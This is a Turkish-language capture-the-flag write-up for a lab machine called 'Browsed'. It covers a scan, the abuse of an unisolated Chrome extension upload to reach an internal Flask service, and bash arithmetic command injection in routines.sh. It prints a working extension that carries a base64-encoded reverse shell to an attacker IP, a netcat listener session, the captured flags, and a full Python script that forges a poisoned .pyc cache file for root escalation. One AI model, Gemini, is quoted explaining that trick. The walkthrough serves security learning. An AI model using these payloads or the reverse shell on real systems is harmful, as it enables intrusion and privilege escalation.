Makine Bilgisi #

  • Zorluk: Medium
  • OS: Linux
  • Link: Browsed

pwn3d

Özet #

Sunucu sistem üzerinde google chrome extension test etmemize imkan vermektedir. Kullanıcıdan alınan extension yeteri kadar izole edilmemiştir. Sistemde internal kullanım için bir web sitesi bulunmaktadır. Bu internal site içerisinde bir bash script’i kullanıcı parametresi ile çalıştırılarak sistem üzerinde kod yürütülmüştür.

Nmap #

Nmap çıktısında 80 ve 22 portları bulunmaktadır. 80 portundaki web servisinin bizi yönlendirdiği domain’i kaydederek sisteme giriş yapıyoruz.

┌─[xenon@sensei]─[~/ctf/browsed]
└──╼ $cat nmap/browsed.nmap 
# Nmap 7.94SVN scan initiated Fri Feb 13 20:36:18 2026 as: nmap -sC -sV -vv -oA nmap/browsed 10.129.244.79
Nmap scan report for 10.129.244.79
Host is up, received reset ttl 63 (0.017s latency).
Scanned at 2026-02-13 20:36:18 +03 for 8s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJW1WZr+zu8O38glENl+84Zw9+Dw/pm4IxFauRRJ+eAFkuODRBg+5J92dT0p/BZLMz1wZMjd6BLjAkB1LHDAjqQ=
|   256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICE6UoMGXZk41AvU+J2++RYnxElAD3KNSjatTdCeEa1R
80/tcp open  http    syn-ack ttl 63 nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 13 20:36:26 2026 -- 1 IP address (1 host up) scanned in 7.73 seconds

WWW #

Girdiğimiz web sitesi içerisinde bize chrome extension upload edebileceğimi söylüyor. Sitede aynı zamanda örnek 3 adet extension bulunmaktadır.

Örnek extensionlardan birini alıp direkt sisteme yüklüyorum. Geri dönen output’u incelediğimde bir adet internal domain buluyorum: browsedinternals.htb. Çıktıyı incelediğimde izolasyonun olmadığını da görebiliyorum, bu ortamı oluşturmak için chrome’nin bir development sürümünü indirerek göndereceğim payload’ı deneme imkanı elde ediyorum.

MarkdownPreview #

Bu noktada elde ettiğim diğer domain olan browsedinternals.htb adresine gidiyorum. Bu adreste bir gitea sunucusunun bulunduğunu görüyorum. Sistemde aynı zamanda bir de MarkdownPreview isimli bir git repo’su bulunmakta.

MarkdownPreview repo’sunu incelediğimde bir flask uygulamasının 5000 portunda ‘127.0.0.1’ adresinde dinlediğini görüyorum, eğer ‘127.0.0.1’ adresinde dinlemiyor olsaydı 5000 portunun açık olup olmadığını kontrol ederek direkt kendi sistemimden erişebilirdim. Bu flask uygulaması sistemde aktif olarak yürütülmektedir, bu bilgi ise içime doğuyor.

MarkdownPreview servisi /routines/<rid> adresinde bir script çalıştırmaktadır. Bu script’in parametresi ise kullanıcıdan alınan url parametresi.

@app.route('/routines/<rid>')
def routines(rid):
    # Call the script that manages the routines
    # Run bash script with the input as an argument (NO shell)
    subprocess.run(["./routines.sh", rid])
    return "Routine executed !"

Bu noktada routines.sh script’ine bakıyorum, bu script de git içinde bulunuyor.

if [[ "$1" -eq 0 ]]; then
  # Routine 0: Clean temp files
  find "$TMP_DIR" -type f -name "*.tmp" -delete
  log_action "Routine 0: Temporary files cleaned."
  echo "Temporary files cleaned."

script kullanıcıdan aldığı parametreyi [[ ile bazı sayılara eşit olup olmadığını kontrol ediyor. Burada bir command injection zafiyeti bulunmaktadır. Eğer x[$(id)] girdisini verirsek bash burada x’i bir array olarak düşünmektedir. Bu arrayın bir indisine erişmeye çalışıyoruz, ancak indisin kendisini direkt vermiyoruz, command substitution yapısını kullanarak çalıştırmak istediğimiz komutu veriyoruz. Bash indis’i hesaplamak istemektedir ve bunun için verdiğimiz komutu çalıştıracaktır.

┌─[xenon@sensei]─[~/ctf/browsed/markdown]
└──╼ $./routines.sh 'x[$(echo PWNED > pwned.txt)]'
find: ‘/home/larry/markdownPreview/tmp’: No such file or directory
./routines.sh: line 9: /home/larry/markdownPreview/log/routine.log: No such file or directory
Temporary files cleaned.
┌─[xenon@sensei]─[~/ctf/browsed/markdown]
└──╼ $cat pwned.txt 
PWNED

Exploit #

Bu noktada sistemin local’de dinlediği markdown servisine erişebilirsem sistem üzerinde kod yürütebileeğimi biliyorum. local’e erişmek için ise izole olmadan çalışan chrome extension servisini kullanacağız. XSS to RCE via Browser Extensions blog’undan örnek alarak basit bir extension yazıyorum. background.js dosyası şu şekildedir:

chrome.runtime.onInstalled.addListener(() => {
    const payload = "x[$(echo YmFzaCAtYyAnYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTQvOTAwMSAwPiYxJyAK|base64 -d|bash)]"
    const exploit = payload.replaceAll(' ', '%20').replaceAll('|', '%7C')
    
    const url = "http://127.0.0.1:5000/routines/" + exploit
    fetch(url, { mode: "no-cors" });
});

Oluşturduğum payload’u sisteme göndermeden önce listener’imi açıyorum ve bekliyorum.

┌─[xenon@sensei]─[~/ctf/browsed]
└──╼ $nc -lvnp 9001
Listening on 0.0.0.0 9001


Connection received on 10.129.1.57 36280
bash: cannot set terminal process group (1407): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ cd
larry@browsed:~$ cat user.txt 
8a63ee185a79c44f0033d0e2db58b72a
larry@browsed:~$ sudo -l
Matching Defaults entries for larry on browsed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User larry may run the following commands on browsed:
    (root) NOPASSWD: /opt/extensiontool/extension_tool.py

Bu sayede user.txt‘yi almış oluyorum. Aynı zamanda hemen sudo -l ile sudo yetkisi ile çalıştırabileceğim script’leri kontrol ediyorum ve bir script görüyorum.

Root #

Bu python script’inin çalıştığı dosya konumuna bakıyorum ve __pycache__ klasörünün yazma yetkininin herkese ait olduğunu görüyorum. Python oluşturduğu bytecode’leri bu klasör içinde tutmaktadır. Bir module yüklenmeden önce o module’nin ismini ve python versiyonunu kullanarak bir cache dosya ismi üretir. Eğer bu cache dosyası varsa module’nin son değiştirilme tarihine ve cache dosyasının son değiştirilme tarihine bakarak cache’nin güncel oluğ olmadığınu kontrol eder. Eğer cache dosyası güncel ise bu cache dosyasını kullanır.

Bu özelliği exploit etmesi için Gemini’den bir script yazmasını istedim, yazdığı script’i kullanarak zararlı pycache dosyası ürettim ve root flag’ına ulaştım. Exploit için kullandığım module ise sudo ile çalıştırma iznim olan script’in import ettiği extension_utils modulesi oldu.

Gemini

To create a successful bytecode injection, your malicious .pyc file must “trick” the Python interpreter into thinking it is the legitimate compiled version of the source file. To do this, your script needs to copy the Magic Number and the Timestamp from the original .pyc file (or the .py source).

larry@browsed:/opt/extensiontool$ python3 ~/exp.py
[+] Malicious pyc created: __pycache__/extension_utils.cpython-312.pyc
[+] Spoofed Timestamp: Sun Mar 23 10:56:19 2025
larry@browsed:/opt/extensiontool$ sudo /opt/extensiontool/extension_tool.py
Traceback (most recent call last):
  File "/opt/extensiontool/extension_tool.py", line 5, in <module>
    from extension_utils import validate_manifest, clean_temp_files
ImportError: cannot import name 'validate_manifest' from 'extension_utils' (/opt/extensiontool/extension_utils.py)
larry@browsed:/opt/extensiontool$ cat /tmp/root.txt 
c28c9c5437410c10c22a270b0decf98f

Kullandığım exploit ise şu şekildedir:

import marshal
import importlib.util
import os
import time
import sys

def create_malicious_pyc(target_py, malicious_code, output_pyc):
    # 1. Compile the malicious code to bytecode
    bytecode = compile(malicious_code, target_py, 'exec')

    # 2. Get the Magic Number for the current Python version
    magic_number = importlib.util.MAGIC_NUMBER

    # 3. Get the timestamp and size from the original source file
    stat = os.stat(target_py)
    timestamp = int(stat.st_mtime)
    size = stat.st_size & 0xFFFFFFFF

    # 4. Construct the .pyc header (Python 3.7+)
    # Structure: Magic (4b) | Bit field (4b) | Timestamp (4b) | Size (4b)
    header = magic_number + b'\x00\x00\x00\x00' + \
             timestamp.to_bytes(4, 'little') + \
             size.to_bytes(4, 'little')

    # 5. Write the header followed by the marshalled bytecode
    with open(output_pyc, 'wb') as f:
        f.write(header)
        marshal.dump(bytecode, f)

    print(f"[+] Malicious pyc created: {output_pyc}")
    print(f"[+] Spoofed Timestamp: {time.ctime(timestamp)}")

# --- Configuration ---
target_source = "extension_utils.py"  # The file the app normally imports
payload = """
import os
import subprocess
# Your RCE payload here
os.system('cat /root/root.txt > /tmp/root.txt')
"""
output_file = "__pycache__/extension_utils.cpython-312.pyc" # Match target naming convention

create_malicious_pyc(target_source, payload, output_file)